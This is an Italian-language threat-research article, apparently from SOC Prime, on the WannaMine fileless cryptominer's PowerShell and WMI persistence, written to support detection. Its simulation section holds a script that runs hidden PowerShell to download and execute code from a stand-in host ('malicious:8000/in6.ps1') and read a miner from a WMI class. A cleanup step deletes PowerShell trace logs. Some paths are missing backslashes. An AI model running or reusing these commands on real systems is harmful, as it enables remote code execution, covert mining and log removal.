SOC Prime Bias: Critico

14 Jan 2026 15:14 UTC

Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

WannaMine è un worm di cryptomining senza file che si basa su strumenti che sfruttano tecniche prese in prestito dal sistema, principalmente PowerShell e Windows Management Instrumentation (WMI), per rimanere residente in memoria e minare Monero.

Indagine

WannaMine viene distribuito tramite email di phishing che trasportano file batch dannosi o sfruttando la vulnerabilità SMB EternalBlue. Per la persistenza, registra abbonamenti agli eventi WMI e archivia PowerShell codificato in classi WMI personalizzate.

Mitigazione di WannaMine

Impedire lo sfruttamento di EternalBlue applicando patch al SMB (MS17-010). Limitare l’esecuzione di PowerShell e il monitoraggio, controllare la creazione insolita di classi WMI e i consumatori di eventi, e applicare il principio del minimo privilegio per limitare l’abuso delle credenziali.

Risposta

Avvisare su comportamenti anomali di PowerShell/WMI, isolare i dispositivi interessati, rimuovere i consumatori/abbonamenti di eventi WMI dannosi, ruotare le credenziali potenzialmente esposte e effettuare analisi della memoria per confermare la presenza del miner in memoria.

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.

Ragione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa dell’Attacco & Comandi:
    Un attaccante guadagna esecuzione di codice remoto su un endpoint Windows. Per evitare interazioni con l’utente, avviano PowerShell in una finestra nascosta (-W Hidden) senza profilo (-NoP) e non‑interattivo (-NonI). Il comando utilizza IEX per scaricare un payload PowerShell da un server HTTP malevolo (http://malicious:8000/in6.ps1). Lo script scaricato registra una classe WMI chiamata Office_Updater sotto rootdefault che memorizza una proprietà mon contenente un miner Monero codificato in Base64. L’attaccante quindi legge la proprietà tramite [WmiClass] e la invoca, lanciando di fatto il cryptominer senza creare un nuovo processo. Questa sequenza corrisponde alle tre sottostringhe della riga di comando della regola di rilevamento.

  • Script di Test di Regressione:

    #-------------------------------------------------
    # Simula esecuzione fileless cryptominer WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Esecuzione di PowerShell nascosto, non‑interattivo
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invoca il comando (questo è ciò che eseguirebbe l'attaccante)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Si presume che lo script remoto (in6.ps1) crei la classe WMI
    # con una proprietà "mon" contenente il codice di mining.
  • Comandi di Pulizia:

    # Rimuovi la classe WMI dannosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Ferma eventuali processi di miner PowerShell residui (se esistenti)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opzionale: Cancella file di trascrizione/log di PowerShell creati durante il test
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue